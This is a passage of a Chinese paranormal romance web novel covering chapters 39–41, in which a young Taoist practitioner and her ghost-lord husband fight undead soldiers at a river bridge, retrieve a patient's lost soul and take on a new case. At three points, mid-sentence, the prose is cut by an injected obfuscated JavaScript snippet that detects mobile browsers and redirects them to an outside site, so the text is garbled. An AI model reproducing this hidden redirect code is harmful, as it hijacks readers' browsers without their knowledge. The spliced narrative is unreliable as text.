“总不会是童子尿。”林知夏利落地画着镇煞符,符纸触及江风的刹那燃起青烟,鬼影立时消散无踪。 “是鲛血。”弓弦拉满的瞬间,宴清鎏金瞳孔泛起冷意,“鲛血含剧毒,沾之即死。” 箭矢破空钉入倭寇眉心,幽蓝火焰顺着铠甲缝隙烧瞬间燎原。林知夏趁机甩出墨斗线在岸边设下拦截,线头金铃在阴风中发出清越声响:“天地玄宗,万炁本根——破!” 江面沸腾,消灭一波阴兵,更多阴兵从漩涡中涌出。林知夏听到那边直播的声音离这边越来越近,脚步急匆匆的,不知道是不是被鬼追了。她扯扯晏清的袖子:“把那人弄走,结界打开!我可不想上社会新闻!” “娘子吩咐,岂敢不从。”宴清即时张开结界,同时放出幽冥火将直播的大兄弟连人带设备如飓风般直接卷走,简单,粗暴,便捷。 又咬破指尖在她眉心一点,血珠化作莲纹蔓延至眼尾,“此乃通阴印,可加持娘子的阴阳眼,十二个时辰后自动消失。” 视线陡然加倍清晰,林知夏还没来得及高兴,就看见每个阴兵背后都缠着血色丝线,丝线另一端则远远的没入对岸烂尾楼。 “有人在操控阴兵?” “阴阳眼叠加通阴印果然不错,”宴清对此很满意,他揽着林知夏再次腾空跃起,幽冥火顺着两人轨迹烧出二十八宿星图。阴兵触及星光的刹那灰飞烟灭,对岸烂尾楼突然传来什么东西碎裂的声音,即使隔得很远,她也听得清晰异常。 林知夏的龙骨镯应声收紧,似有所感,忙说,“先去烂尾楼!” “抓紧。”宴清将她打横抱起,“为夫带娘子破阵。” 疾风掠过耳畔,林知夏看着越来越近的烂尾楼,突然发现每层楼的外墙竟然都嵌着一柄巴掌大的青铜镜。镜面此时倒映的却不是现实景象,而是穿着狩衣的阴阳师正在结印! 林知夏:“这是……?” “倭寇的镜影术。”宴清冷笑,指尖幽冥火凝成青龙,“雕虫小技。” 龙吟震碎玻璃幕墙的瞬间,林知夏甩出五帝钱钉住兑位承重柱。桃木剑劈开墙皮露出里面暗藏的陶瓮,瓮中蜷缩的尸骸心口皆钉着绘有菊花纹的铜钉。 “用自家武士养尸?”她嫌恶地后退半步,“够狠。” 宴清对此都不屑评价,他并指划开虚空,幽冥火顺着钢筋烧向天台,顶楼亮起血色符咒,穿白色狩衣的老者杵着蛇头杖现身。林知夏的罗盘疯狂震颤,磁针在“乾”位渗出暗红血珠——这竟是个活死人! 39. 阴兵借道(三) 江风裹着腥咸水汽掠过烂尾楼顶层的钢筋丛林,林知夏的帆布鞋踩在裸露的混凝土上,鞋底碾过碎石发出细碎声响。她望着天台边缘的狩衣老者,罗盘在掌心剧烈震颤,磁针渗出的暗红血珠表明这是相术中“煞气冲宫”的征兆。 “活死人借命,”宴清指尖捻着一枚五帝钱在指节间翻转,“把三魂七魄钉在尸身里,比寻常僵尸会聪明些?” 林知夏:“这就是活僵好吧!”普通僵尸是人死了,灵魂离体留下个空壳,只凭本能嗜血杀生,没有思维能力。活僵就是眼前这种了,看上去跟个人似的,保留三魂七魄和思维能力,说它活着吧,其实肉·身已经死了,留在人间对魂体伤害特别大,以后想投胎都不容易,说它死了,人家依然保留生前的思维和思考能力,记忆力语言什么的几乎不受影响,算是活标本,玄门将这种活僵分类为‘怪’。 这是她长这么大见到的第二个活僵,八岁那年跟着爸爸出差曾亲身经历过一次,过程就不提了,挺刺激,后来她受惊连续发烧半个月才慢慢缓过来。 好汉不提当年勇,林知夏眯眼打量对面老者眉心若隐若现的菊花纹,若有所思,“阴阳寮的桔梗印?据我所知这个桔梗印因为反噬特别大已经很久没人用了,这老头不会是当年侵华时留下的余孽吧?” 她话音刚落,老者手中蛇头杖突然裂开,数十条青鳞小蛇顺着钢筋游来,蛇信吞吐间竟泛着暗金流光。 “坎水化金,巽木生火。”宴清挥手扫过满地钢筋,幽冥火顺着铁锈燃成八卦阵,提醒道,“娘子,《撼龙经》,九宫破煞局。” 林知夏会意,反手将桃木剑插·入震位裂缝:“乾三连西北开天!”剑锋触及混凝土的刹那,整栋烂尾楼突然晃动起来,裸露的钢筋如活物般扭曲成北斗七星状。 狩衣老者喉间发出野兽般的低吼,腐朽的面皮下钻出暗红血丝。林知夏被宴清握住手在虚空画出反八卦,他鎏金瞳孔映着漫天阴云,悄声叮嘱:“地脉倒转时,记得闭气。” 林知夏颔首表示记住了。 两人相贴的掌心一冷一热,温度正好中和。这一刻,嗅到他衣襟的沉水香,林知夏觉得很安心。 虽然这是自己头一回亲自动手对付活僵,还是个实力估计挺牛逼的活僵,但她一点不带怕的。 蓦地,宴清扣着她五指猛然发力,幽冥火顺着两人交握的手窜上桃木剑。剑身符纹亮如星斗的刹那,老者背后的玻璃幕墙轰然炸裂,露出墙内密密麻麻的陶瓮——每个瓮口都封着绘有生辰八字的黄裱纸。 陶瓮数量很多,一眼根本数不过来,但作为玄门中人,遇到这种情况根本没必要数,阵法和术法都有固定的数量要求和摆放顺序,大概一扫基本就能估出个精准数字。 一般数字七、九、二十八、三十六、八十一和九十九。 眼前这些,绝对不少于九十。 不少于九十,那应该就是九十九。 “九十九口养尸瓮,”林知夏倒吸冷气,“这是要炼尸王?” 随着她的惊呼,陶瓮接二连三炸开。腐臭黑水中站起具具青面尸傀,心口皆钉着刻有菊花纹的青铜钉。宴清揽住她的腰肢腾空跃起,脚底踩过尸傀头顶,话说得漫不经心,“娘子看仔细,这些可不是普通行尸。” 林知夏定睛看去,发现每具尸傀关节处都缠着近乎透明的丝线——月光照过时竟泛出七彩光泽。 她虽然不认识,但可以结合之前宴清提到的点还有她脑中知识大胆猜测。 “鲛绡!”她想起跨江大桥那些淬了鲛血的倭刀,“他们在用鲛人血炼制傀儡?” “聪明。”宴清带着她落在通风管道上,指尖是幽冥火凝成的箭矢,“鲛绡控尸,鲛血养煞,这般手笔倒是配得上为夫的青龙焰。” 箭雨倾泻而下的瞬间,林知夏咬破指尖在掌心画出雷纹。血腥气漫开的刹那,尸傀齐刷刷转向她所在方位,青紫嘴唇几乎裂到耳根,要多诡异有多诡异。 “天地玄宗,万炁本根——雷来!” 惊雷劈开云层,宴清忽然贴着她耳垂低笑:“娘子这五雷咒,越发有大家风范了。” 林知夏谦虚,“还行吧,全靠鬼君栽培。” 宴清失笑,反手将她带到怀里。就势含住她渗血的指尖,舌尖扫过伤口的酥麻感让林知夏浑身一颤:“别闹!” “娘子血液岂可浪费。”鎏金瞳孔映着她无奈的眉眼,理直气壮,“你我同契,气脉相连,娘子至阴之体的血,于我而言可是世间至美之味。” 这话倒是不假,但说出来就很那啥了。 林知夏看着被雷光烧成焦炭的尸傀,忽然发现自己和宴清脚下出现个巨大的太极图。阴阳双鱼缓缓转动间,整栋烂尾楼的地基开始塌陷。 狩衣老者突然撕开狩衣,干瘪胸膛上浮现血色星图:“さあ、地獄へ落ちろ!”(来吧,坠入地狱吧!) “他说什么?”林知夏甩出墨斗线缠住老者脚踝。 “管他说什么,垂死挣扎罢了。”宴清并指再次划开虚空,幽冥火顺着星图纹路逆烧而上,“娘子可知相术中有‘五星连珠,七杀当空’之说?” 林知夏刚要回答,地面突然裂开深不见底的沟壑。腥风裹着无数白骨手臂探出裂缝,腐烂指骨上竟都戴着刻菊花纹的铜戒。她猛地反应过来,拽住宴清衣袖说:“是乱葬坑!这些应该是战争时期被深埋的小日子尸骨!” 宴清挥手扫落白骨,揽着她跃至承重梁上:“坎位水气翻涌,震位木煞冲天,要镇此处,可布颠倒阴阳局。” 林知夏眼睛倏地亮起,对呀,可以布颠倒阴阳局,正反交错,正好应对眼前局面。 她从帆布包摸出七枚康熙通宝:“老规矩,我镇三才,你守四象。” “错。”宴清扣住她执铜钱的手,冰凉的唇擦过她汗湿的鬓角,“这次要娘子守中宫。” 不等林知夏反应,七枚铜钱自动飞向不同方位。林知夏感觉有股暖流自墨玉戒涌入丹田,二十八宿星图在脚下徐徐展开。宴清的声音混着幽冥火的噼啪声钻入耳膜:“闭眼,观想黄河星象图。” 黑暗中,沈氏赠送的星象图在识海浮现。当林知夏将神识投向江心漩涡时,看见九盏青铜灯正在拼凑黄泉九曲阵的全貌——每盏灯芯都锁着个孩童魂魄。 “是镇河童子的生魂!”她倏地睁眼,“他们在用童子魂做阵眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449104|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 宴清闻言冷笑,指尖幽冥火凝成长枪:“自不量力!” 长枪破空的瞬间,整座城市的地脉突然震颤。林知夏的罗盘脱手飞出,磁针在虚空拼出“惊门”二字。她反手抽出雷击枣木尺插入地面:“乾坤倒转,惊门开——” 地动山摇间,承重梁轰然断裂。宴清揽着她坠向深渊,玄色西装化作漫天星斗裹住两人。失重感袭来的刹那,林知夏忽然听见他胸腔传来闷笑:“娘子抱这么紧,可是怕了?” “怕你个头!”她嘴上硬气,手指却将他的衬衫攥得更紧。阴风卷着腥气掠过耳畔,忽然有冰凉柔软的东西贴上唇瓣——是宴清就着下坠的姿势吻住了她。 这个吻裹着幽冥火的清冽,混着地脉震颤的轰鸣。林知夏惊觉指根并蒂莲纹正在发烫,龙气顺着相贴的唇齿渡入体内,竟将四周阴煞之气涤荡一空。 “闭气。”宴清忽然退开半寸,指尖在她眉心轻点,“刚刚提醒的忘了?” 林知夏尚未回神,整个人已被推进刚形成的八卦阵眼。二十八宿星光自她足下冲天而起,将漫天阴云撕成碎片。 狩衣老者在星光中化作飞灰,飘在江心的青铜灯盏接连炸裂。当最后一声爆炸消散时,林知夏发现自己正被宴清打横抱着站在跨江大桥的护栏上。 “娘子方才渡气的法子,甚妙。”宴清瞳孔跳动着未熄的火星,指腹摩挲着她微肿的下唇。 林知夏:“是你强吻我好吧!”这怎么还倒打一耙呢! 她耳尖烧得通红,挣扎着要跳下来:“放我下去!” “不急。”宴清忽然俯身,银发扫过她的锁骨处,“娘子可听见地脉龙吟?” 江面突然泛起金鳞般的波纹,墨玉戒中的龙魂发出欢欣的长啸。林知夏望着缓缓升起的朝阳,忽然发现江水倒影里浮现出锁龙井的虚影——井口镶着的,赫然是半截泛着青光的龙角! “这是……” “黄泉九曲阵真正的阵眼。”宴清带着她飘然落地,“有人借阴兵借道掩盖龙气,倒是费心了。” 林知夏:“那还等什么,取龙角呀!” 宴清无奈看她:“若能取,为夫怎会放任。” 林知夏正要细问,手机突然疯狂震动。陈老板发来十几条语音消息,点开第一条就听见他带着哭腔喊:“林大师!我外甥中邪了!现在在江滨医院,医生说……” 后续语音被呼啸的警笛声打断,三辆警车并着一辆商务车正朝跨江大桥飞驰而来。宴清轻弹指尖,幽冥火将两人痕迹烧尽:“这是不是娘子常说的警察总是最后上场?” 林知夏:“……” 晨光穿透云层时,林知夏和宴清悄无声息回到了车上。望着后视镜里逐渐缩小的跨江大桥,忽然开口:“应该没有被发现吧?” “嗯?”正在把玩她发梢的鬼君挑眉,“发现又如何,娘子莫怕,为夫定护你周全。” 林知夏:“发现的话,我可能会被帽子叔叔请去喝茶。” 宴清不以为然,指尖卷着她一缕黑发在指节缠绕,“娘子若不喜欢,无人可逼迫你。” 林知夏心说,那我还是宁愿让帽子叔叔逼迫吧。 40. 阴兵借道(四) 江滨医院消毒水的气味裹着阴冷煞气扑面而来,林知夏站在ICU病房外,透过玻璃窗看向浑身插满管子的年轻男人——陈老板的外甥周扬面色青灰,印堂处盘踞着蛛网状黑气,脖颈处隐约可见暗紫色指痕。 “医生说是急性呼吸衰竭,但仪器查不出病因。”陈老板搓着发红的眼眶,“昨晚直播时还好好的,回来突然就……” 林知夏出声打断他,“昨晚……直播?” 陈老板哭丧着脸点头,“是啊,昨晚他跑到跨江大桥那边直播,本来说要播通宵,后来不知道怎么搞的凌晨一点多就回来了,刚到家时还行,孩子看上去没什么,哪知道过了大概半小时吧,他说要吃夜宵,缠着我给他点外卖,刚下好单,他就昏迷失去意识了,可把我跟他舅妈吓得够呛。” 林知夏:“……” 林知夏心说这么巧的吗?凌晨的时候她也刚好遇到了一个搞直播的大兄弟呢!虽然没看到长相,但听声音确实年纪应该不大。 宴清在她耳畔低声笑叹,“娘子,世界果然很小呢。” 林知夏压下想扶额的冲动,罗盘贴着玻璃窗游走,磁针在正对着病床的方位剧烈震颤。她转头问陈老板:“他昏迷前有没有说过胡话?” “有!”周扬的舅妈一边搂着周扬亲妈安抚,一边抹着泪插话,“一直喊‘灯笼’‘灯笼’,还说什么……桥下有双红绣鞋跟着他!” 林知夏蹙眉。 晏清倚着走廊立柱轻笑,玄色衬衫在冷白灯光下泛着绸缎般的光泽:“这小子阴兵借道时撞了煞,三魂丢了两魂。” 林知夏向陈老板夫妻转述了周扬丢魂的事,陈老板急得脸都白了,忙恳求说,“林大师,您可一定要救救我外甥,他爸去得早,我姐要上班,这孩子从小几乎长在我家,我跟我老婆拿他跟亲生孩子真没区别,他万一有个什么,可是能要去我们半条命!”又保证,“只要您能救孩子,让我砸锅卖铁都行!多少钱您说个数,我但凡打个磕巴我就不姓陈!” 林知夏笑笑,“陈老板,咱们是老关系了,不必这样。你放心,人我一定尽力救,钱什么的就按以前的市价给就行。” 语毕不给陈老板客套的机会,直接从帆布包掏出三枚乾隆通宝,在窗台摆成倒三角:“坎位属水,水鬼夺魄。他丢的魂应该还困在跨江大桥附近。”她说着咬破指尖,在黄表纸上画出道血符,“劳驾,帮我找块木板或是木牌都行。” 陈老板连忙掏出车钥匙:“我后备箱有!” 等木板的间隙,晏清突然握住林知夏手腕。他指尖寒气激得她起了一层鸡皮疙瘩,刚要抽手,却见他将她渗血的指尖含入口中。瞳孔映着她错愕的表情,舌尖扫过伤口的触感让她耳尖发烫:“你……” “娘子精血珍贵。”晏清松开她时,伤口已然愈合,“下次用为夫的。” 林知夏瞪他一眼,余光瞥见护士站有护士正往这边偷瞄,压低声音:“这是医院!你还隐身呢!别闹!” 鬼君理直气壮地替她捋顺鬓角碎发,“隐身又如何?夫妻恩爱犯法?” 林知夏:“……” 木板送来时外面裹着层油纸,林知夏接过时有些错愕:“雷击木?” “去年劈中我家老槐树的!”陈老板搓着手解释,“林大师好眼力!人家说雷击木辟邪,我特意放车里的!” 林知夏用朱砂笔在木板画出七星阵,边画边解释:“雷击木镇邪,槐木通阴,正好可用来引魂。”她说着转向周扬母亲,“麻烦您对着木板喊三声周扬的名字。” 女人忙点头应下,颤着声呼唤时,林知夏的罗盘突然倒转。她迅速将三枚铜钱钉入槐木,黄铜磁针凭空浮起指向东南方向。晏清适时弹指,幽冥火在木板上烧出蜿蜒纹路——赫然是跨江大桥的轮廓。 “魂在桥下。”林知夏抓起帆布包就要走,却被晏清勾住腰链:“子时阴气最盛,现在去时间太早。” “可他的生魂撑不过……” “撑得过。”晏清变戏法似的摸出个青玉葫芦,倒出粒泛着槐花香的药丸塞进她手里,“锁魂丹,能保他七日不死。” 林知夏鼻尖动了动:“这是……什么做的?” “槐花蜜掺了为夫的血。”晏清突然俯身,薄唇擦过她耳垂,“娘子若想要,今晚……” “停!”林知夏捂住他嘴,余光瞥见陈家人震惊的目光,才反应过来宴清此时是隐身状态,她刚才在普通人眼中大概跟神经病差不多! 林知夏:“…………” * 入夜的城区飘着细雨,林知夏蹲在跨江大桥墩旁烧纸钱。 她今天学精了,没开车,跟宴清一起隐匿了身形踩着幽冥火过来的,走哪都张着结界,将低调贯彻到底。 昨天闹得动静其实有点大,虽然没被官方抓到小辫子,但能不招惹到官方,那还是尽量不招惹吧。 烧纸的火星被江风卷成旋涡,她将槐木引插进石缝:“天清地明,阴浊阳清——周扬,归位!” 江水翻涌如沸,三盏青皮灯笼从漩涡中浮出。林知夏的罗盘咔咔作响,磁针在“坤”“艮”位来回摆动——这是地脉紊乱的征兆。 “不对劲。”她甩出墨斗线缠住桥墩,“阴兵借道后地气该平复了,怎么还这么乱?” 话音刚落,水面炸开。周扬的生魂终于被拽出水面,可他不是单独个体,身后竟还跟着个穿血色嫁衣的水鬼。那女鬼十指暴涨,腐烂的面皮下钻出无数水蛭,林知夏的桃木剑刚出鞘就被晏清按住:“等等。” “等什么?”林知夏有点着急,“生魂沾了尸蛆就废了!” 晏清袖摆翻卷,幽冥火凝成弓箭:“你看她脚踝。” 林知夏定睛望去,女鬼缠着铁链的脚踝处竟系着枚青铜铃——这铃铛她可太熟悉了! “镇魂尸!”她瞬间通透,“周扬的生魂应该就是被这水鬼硬留下的!!” 女鬼尖啸着扑来,林知夏旋身后撤,五帝钱顺势撒成梅花阵:“五星镇彩,光照玄冥!” 金光亮起的刹那,晏清箭矢离弦。幽冥火洞穿女鬼眉心时,江底传来铁链挣动的巨响。周扬的生魂眼看要被拽向漩涡深处,林知夏咬破指尖,混着血液将桃木剑掷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454179|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出:“天地玄宗,万炁本根——断!” 剑光将铁链斩断,晏清揽住她的腰肢浮在江面之上,墨玉戒腾起青龙虚影,将两人笼在金色光罩中。 “娘子好生厉害!”晏清贴着她后背低笑,“为夫心悦之。” “你别闹啦!”林知夏甩出墨斗线缠住周扬生魂往光罩里拽,“西南方好像有东西过来了!” 浑浊江水中,两具缠着水草的尸骸正急速逼近。晏清并指划开虚空,幽冥火凝成的渔网将尸体兜个正着:“应是昨夜枉死之人。” 林知夏叹气,所以凡事还是应该有忌讳,像清明节、中元节、十月一这样与鬼有关的特殊日子,晚上能不出门尽量不要出门。现在很多人一说这个,动不动就是迷信什么的,什么是迷?什么是信?老祖宗留下的规矩总有它存在的道理。 林知夏将槐木引插进周扬生魂的天灵盖,朱砂笔在他眉心点下守宫砂:“阴阳有序,邪祟退散——归!” 生魂立即化作流光没入槐木引。 林知夏将槐木引用符纸裹住放进包里,今晚的任务就算完成了。想起江下的黄泉九曲阵还有被封印的龙角,又有些不甘心,看宴清,“龙角现在真的取不了?” 宴清将她带回岸上,轻声嗯一声,“暂且不急。” 林知夏:“要不我试试?”她对破阵什么的还是比较有经验和心得的。 宴清好笑的轻弹她脑门,“黄泉九曲阵非同小可,娘子现今可应付不来。” 林知夏嘴唇轻抿,“加上你也不行吗?” 宴清:“不瞒娘子,此阵克我,为夫倒时不拖你后腿已是极限。” 林知夏有些惊讶,“比困龙阵还厉害?” 宴清:“那倒没有,比之困龙阵还是要差些的。”见她还要说话,宴清俯身吻了下她的鼻尖,“乖,时机未到,为夫尚且不急,娘子急什么?” 林知夏想想也是,这种事着急没用,他坚持不取一定有他的道理,索性不纠结了。刚准备离开,整座跨江大桥突然震颤起来,晏清眸色骤冷,揽着林知夏瞬移至岸边五十米外。 一人一鬼就这么眼睁睁看着江心漩涡中缓缓升起具青铜棺,棺身缠着的锁链上挂满了五帝钱。林知夏瞳孔骤缩:“锁龙棺?不对,这是……” “伪棺。”晏清冷笑,幽冥火凝成长枪掷向棺椁,“还不死心!” 棺盖炸裂的瞬间,林知夏嗅到浓重的鲛油味。她也不管棺材里是什么,反手甩出雷击枣木尺钉入地面:“乾坤倒转,巽风开路——破!” 狂风卷着幽冥火撞向桥墩,混凝土崩裂处露出两具幼小尸骨。林知夏尚未看清,晏清突然捂住她眼睛:“闭气!” 地动山摇间,龙吟声响彻云霄。林知夏感觉无名指上的墨玉戒烫得惊人,并蒂莲纹顺着血管游走到心口,与晏清的心跳产生共鸣。等震荡平息,江面只剩涟漪,那具棺椁已不知去向。 “跑了。”晏清语气森冷,“倒是会挑时机,幸好我早有防备。” 林知夏从开始到结束一直处理懵逼状态,她都没搞清楚状况,突发事件就结束了。 41. 僵尸村(一) 虽然有点搞不清状况,但打完架林知夏还是第一时间握住宴清的手腕问,“黄泉九曲阵有没有出问题?龙角呢?刚刚我听到龙鸣了!” 宴清反扣住她的手轻轻拍了拍,“都无事,娘子放心。” 林知夏蹙眉,“刚刚到底怎么回事?那个伪棺是什么情况?你说早有防备是什么意思?是早知道咱们但凡过来的话一定会有这一遭?” 宴清倒是不逃避问题,虽然这于自己来说可能是道送命题。 他说,“为夫虽曾为神龙,却无未卜先知之能。这点娘子可认?” 林知夏有点没明白他的点,但还是点头,“承认。” 宴清:“昨夜咱们和倭寇一战,娘子可想到他们目的是什么?” 林知夏:“好像是针对咱们,又好像没有那么针对。也不是不针对,就感觉有点…嗯,和预期不符。” 昨晚她跟宴清之所以特意跑过来,是因为沈氏送的黄河古道星象图显示这一截地脉紊乱,可能出了问题。事关龙骨,又涉及黄泉九曲阵当然不能小觑,哪怕白跑一趟呢。事实证明没有白跑,确实是有小人作祟,蝇营狗苟妄想窃取龙骨。 但真要说起来,昨晚除了那个狩衣老者的活僵有点实力,其他的像倭寇阴兵,陶瓮阴尸都挺好对付的,至少比预想中要容易很多。 打之前还担心会破坏公物被官方发现请去喝茶,打之后虽然也担心,但其实有点有恃无恐。 林知夏蹙眉,“所以昨晚是为了麻痹咱们,刚刚那一出出其不意才是对方的目的?”但好像也没什么挑战性。 宴清将她鬓边碎发拨到耳后,浅淡的牵牵唇角,“虾兵蟹将,娘子还期望什么呢?” 林知夏翻白眼,“谁期望了,整件事就是说咱们遇到跳梁小丑了是吧?不是你和我预想中的屏山村也好,落云村也罢,甚至程掌柜之流的神秘背后势力。”见宴清颔首,林知夏想了想说,“活僵虽然不影响智商,但那个狩衣老者已经死了,刚才那一出又是谁主导?” 宴清含笑看她,“娘子以为呢?” 林知夏犹豫了一下:“境外势力?” 宴清嗯一声,“大抵如此。” 林知夏:“那具伪棺出现的那么及时,对方是想利用咱们反其道而行之妄想借毁去伪棺间接毁掉黄泉九曲阵拿到龙骨?”这样的话,那具伪棺应该还另有乾坤,只是刚才从开始到结束太匆忙了,她都没注意乾坤在哪里。 宴清笑笑,“娘子聪慧。” 林知夏二次翻白眼,“得了吧,最近老听你说我聪明,还不是被你瞒得死死的,傻乎乎跟着你跑来跑去,一点多余想法都没有。” 这是终于想要秋后算账了。 宴清上前半步将人揽进怀中,下巴蹭蹭她的额发,“不是为夫有意隐瞒,实在是为夫也不确定对方是否还有后招。娘子自昨晚到现在都未曾休息,我实在不想多添一桩烦心事于你。” 林知夏:“……”明知道他在花言巧语,但心情还是莫名有点开心是怎么回事? 她问,“我有一点想不明白,对方是怎么知道锁龙棺的?咱们虽然找回了一些龙骨,但每次做得我自认扫尾还算干净,也没有发现被人跟踪的痕迹,国内天师协会都没发现,所以到底怎么暴露的?” 宴清:“娘子不会以为此事与那背后之人无关吧?” 林知夏:“………”我要是说我确实以为无关,会不会显得我很蠢? 宴清察觉到怀中人的一瞬僵硬,他莞尔一笑,拍拍她的背,“此前我就与娘子说了,黄河古道中的龙魂龙骨我若取不到,旁人更休想取到,此非妄言。” 林知夏上半身后仰抬头看他一眼,然后哦了一声,“就是说从始至终你其实在耍背后那个神秘人玩儿?目的呢?鬼君日理万机忙得嘞哪有闲工夫遛人!” 宴清好笑的刮了下她的鼻尖,“确实有所收获,暂不与娘子交底,待有所得,以后权当惊喜告知娘子可好?” 林知夏默默看他一眼,轻轻点了下头。 *** 晨雾裹着消毒水味漫进病房,林知夏将槐木引塞进周扬枕下,看着监测仪上逐渐平稳的波形,转头对陈老板比了个“OK”的手势:“三魂归位,今晚就能醒,三天后正午开窗见光。” 陈老板擦着额角冷汗连连道谢,从鳄鱼皮包里摸出一张卡推过去:“这是给林大师的辛苦费,真的太谢谢林大师了——” 林知夏指尖在卡上轻叩两下,忽然抬眸:“陈老板在我昨日离开后去了何处?” 陈老板拿包的手一抖,鳄鱼皮包直接滚落在地。他弯腰去捡时后颈暴露出三枚铜钱状红斑,在冷白灯光下泛着诡异青紫。宴清在旁瞧到轻笑出声,鎏金瞳孔映着那抹异色:“好个借运局,娘子这生意可真是绵绵不绝啊!” 林知夏没搭理他,昨天见面她就察觉到陈老板身上有些不对劲,不过当时没觉得很严重,想着救人家外甥是当务之急就没提。今天再一见,好嘛,印堂发黑,周身环绕青黑煞气,连同他老婆跟他大姐身上都被牵连沾上了些煞气,这显而易见是奔着出人命去的。 对方是老主顾了,察觉到了肯定要管一管的,陈老板虽是商人,但人品性情都不错,若是不出意外,是个长寿之相,晚年可颐养天年。 现在这满身煞气,要是不管,必死无疑。 陈老板讷讷,“去、去了趟城西的三号地皮,上个月我找您想让您帮我看看,您说有事走不开,我就通过朋友找了清风观的玄清道长,他说那块地不错,最近马上要开始招标,我跟朋友来来回回跑了不知道多少趟去看地,昨天我朋友说想最后再看看,我就陪着他去了。”说完搓搓手,“林大师,这行的规矩我懂,若不是您看出问题不会多言语,咱们是老相识了,您有什么话直说就成,我挺得住。” 林知夏心说不,你可能挺不住。 她把罗盘在掌心倒转半圈,淡淡道,“坎位掘井见红土,震位移石现蛇窝——最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472787|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几天您家浴缸有没有漫过黑水?” 陈老板脸色霎时惨白如纸,他老婆想搀扶他的手僵在半空:“林大师您怎么知道我们上周末刚换过浴缸……”话音未落,走廊顶灯忽明忽暗,周扬监护仪突然发出刺耳警报。林知夏反手甩出三枚五帝钱钉在病房门槛,黄铜磁针在罗盘天池划出半弧:“阴债未清,阳债又添。陈老板,你家这烂摊子,得加钱。” 宴清:“再加三成,为夫替他拔了这附骨疽。” 回程时秋雨渐密,林知夏握着方向盘目视前方。宴清正把玩从陈老板后颈取下的铜钱斑,说是斑,其实是蛊,铜钱大小,被幽冥火烧成了骨珠,晶莹剔透还挺好看。但林知夏受不了这个,催促,“随便看看就行了,赶紧扔掉,脏死了。” 宴清笑看她一眼,“娘子莫怕,它们已死得不能再死,此珠磨成粉和水吞服可解尸毒,是好东西。” 林知夏:“那你收起来不要让我看到。”顿了顿又说,“陈老板颈后三煞钱沾着湘西辰砂。”她在红灯前缓踩刹车,雨刮器刮开玻璃上蜿蜒水痕,“陈老板说城西工地挖出的蛇窝里有黑眉锦蛇蜕,这种蛇在湘西赶尸道上被称作‘引魂烛’。” 手机铃声突兀响起,车载屏幕跳出二师兄的号码。林知夏刚接通,听筒里炸开嘶哑男声:“小夏!你来一趟,我这边遇到点麻烦,需要你帮忙。” 宴清眉梢微挑,指尖铜钱斑突然裂开,渗出暗红血珠。林知夏有些紧张,“二师兄你遇到什么麻烦?危险吗?还能不能坚持?算了,你先把具体位置告诉我!” “我暂时还顶得住,”二师兄匆忙道,“湘西落凤坡!”背景音里混着犬吠与铜锣声,“三天前暴雨冲垮后山,露出七口红木棺材!现在全村大半人高烧说胡话,指缝长绿毛!” 罗盘在仪表台疯狂震颤,磁针在“坤”位凝出霜花。林知夏与宴清对视一眼,后者袖摆扫过导航屏幕,幽冥火在电子地图烙出蜿蜒路线,林知夏交代说,“我会尽快赶过去,二师兄,君子不立危墙之下,解决不了记得跑,别傻乎乎和那些东西拼命!” 电话挂断,林知夏打消去商场消费一波的想法,她调转车头直接回家,一边跟宴清说,“落凤坡在辰州西南,是赶尸道上的‘断魂关’。” 宴清:“你这二师兄从前也总使唤你帮忙?” 林知夏抽空扭头看他一眼,否认,“没有啊,我们之前好久没见过了,自从三叔公把我五个师兄赶走,我们的联系就很少。” 宴清眼尾微眯,“那怎得近来如此多事?若没有你,他找不来旁人帮忙?” 林知夏顿了顿,自己逻辑自洽,“以前我三叔公在,他可能不好意思找我,现在我三叔公没了,二师兄从小就很疼我,我们关系好,他需要帮忙第一时间想到我很正常。” 宴清不置可否的哼一声,不咸不淡,“是吗?” 林知夏又看他一眼,坦坦荡荡,“是的呀,”小心翼翼问,“你是不是不喜欢我二师兄?”